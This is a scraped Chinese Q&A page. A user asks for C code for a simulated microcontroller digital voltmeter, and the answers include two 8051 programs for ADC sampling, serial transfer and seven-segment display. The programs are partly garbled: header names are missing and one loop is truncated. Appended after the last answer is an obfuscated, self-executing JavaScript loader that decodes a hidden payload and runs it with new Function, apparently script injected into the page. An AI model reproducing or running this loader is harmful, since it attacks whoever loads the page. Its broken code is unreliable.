能帮帮编写个单片机数字电压表仿真设计的程序代码吗?用C语言。

题目是基于单片机数字电压表的仿真设计,不粘贴。
2025-03-15 16:07:53
推荐回答(5个)
回答1:

我这里有protues+代码:(内容是串口通信,A机测量,B机数码管显示)
代码给你吧,protues 需要再说
#include

#define uint unsigned int
#define uchar unsigned char

#define PinData P0
sbit LED0 = P1^0;
sbit LED1 = P1^1;
sbit PinSTART = P1^5;
sbit PinOE = P1^6;
sbit PinEOC = P1^7;
sbit CLK = P3^4;

//短延时函数:ShortDelay()
void nNop(uchar i)
{
for(;i>0;i--) ;
}

//长延时函数:LongDelay()
void LongDelay(uint i)
{
uint j;
for(;i>0;i--)
{ for(j=1000;j>0;j--);}
}

//引脚初始化
void InitIO()
{
PinData = 0xff;
PinSTART = 1;
PinEOC = 1;
PinOE = 1;
CLK = 1;

}

//UART的初始化:模式1,8位,9600Bds
void InitSerial()
{
TMOD = 0x20 ; // Timer 1 in mode 2
TH1 = 0xF4; // 9600 Bds at 11.059MHz
TL1 = 0xF4; // 9600 Bds at 11.059MHz
TR1 = 1; // Timer 1 run
PCON = 0x00; // Timer 1 run
SCON = 0x50; // uart in mode 1 (8 bit), REN=1

}

//T0定时脉冲中断初始化
void init_uart()
{
TMOD=0x01;
TH0= (65536-4000)/256;
TL0= (65536-4000)%256;
TR0=1;
// ET0=1;
EA=1;
}

//等待A/D转换结束函数:WaitADCEnd()
void WaitADCEnd(void)
{
while(!PinEOC) ;
}

//读取A/D转换后的数据函数:ReadData()
uchar ReadData()
{
uchar tempt;
ET0=1;
PinSTART = 0;
//nNop(1);
PinSTART = 1;
PinSTART = 0;
WaitADCEnd();
PinOE =1;
nNop(2);
tempt = PinData & 0xff;

ET0=0;
return(tempt);

//PinOE =0;
}

//子机送数据给主机
void sendtomain(uchar temp)
{

SBUF = temp;
while(!TI);
TI=0;

}

void main()
{
uchar temp, tab;
InitIO();
init_uart();
InitSerial();
while(1)
{

temp = ReadData();
sendtomain(temp);

while(!RI);
tab = SBUF;
RI = 0;
if(tab == 0)
{
LED0 = 1;
LED1 = 0;
}
else if(tab == 1)
{
LED0 = 1;
LED1 = 1;
}
else
{
LED0 = 0;
LED1 = 1;
}
}
}

void clk(void) interrupt 1 using 0
{
TH0= (65536-4000)/256;
TL0= (65536-4000)%256;
CLK= ~CLK;
}

#include

#define PDATA P2
#define aver 2

#define uint unsigned int
#define uchar unsigned char

sbit Ledlow = P1^3;
sbit Ledhig = P1^4;

uchar table2 []={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90};
uchar table1 []={0x40,0x79,0x24,0x30,0x19,0x12,0x02,0x78,0x00,0x10};

//短延时函数:ShortDelay()
void nNop(uchar temp)
{
uint i;
for(i=0 ;i}

//UART初始化:模式1,8位,9600Bds at 11.059MHz
void InitSerial()
{ // uart in mode 1 (8 bit), REN=1
TMOD = 0x20 ; // Timer 1 in mode 2
TH1 = 0xF4; // 9600 Bds at 11.059MHz
TL1 = 0xF4; // 9600 Bds at 11.059MHz
TR1 = 1;
PCON = 0x00; // Timer 1 run
SCON = 0x50;
}

//主机接受信息给从机
uchar recivefromslave()
{
uchar temp;
while(!RI);
temp=SBUF;
RI=0;
return(temp);

}

// 显示
void leddisp(uint temp )
{
uint i;
uint getdata1 = 0;
uint getdata2 = 0;
temp=temp*aver;
getdata1=temp/100;
getdata2=temp/10;
getdata2=getdata2%10;

for(i=0;i<30;i++)
{
PDATA=table1[getdata1];
Ledlow =0;
Ledhig = 1;
nNop(1000);
Ledlow =0;
Ledhig = 0;

PDATA=table2[getdata2];
Ledlow =1;
Ledhig = 0;
nNop(1000);
Ledlow =0;
Ledhig = 0;

}

}

void main()
{
uint tab;
uint tempt;
Ledlow = 0;
Ledhig = 0;
PDATA = 0x00;

InitSerial();

while(1)
{

tempt = (uint) recivefromslave(); //接收从机采集的信息
leddisp(tempt); //显示信息

if(tempt<0x60) //判断信息
{
tab = 0;
}
else if(tempt>0xc0)
{
tab = 2;
}
else
{
tab = 1;
}

SBUF = (uchar)tab; //对采集信息进行控制
while(!TI);
TI = 0;

}
}

回答2:

数字电压表仿真实例,可以参考一下。

回答3:

直接用ADC芯片就可以了。去查查资料吧。

回答4:

可以根据你的要求做出来,不过收费哦

回答5:

我做过现成的。有不同的AD做的

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();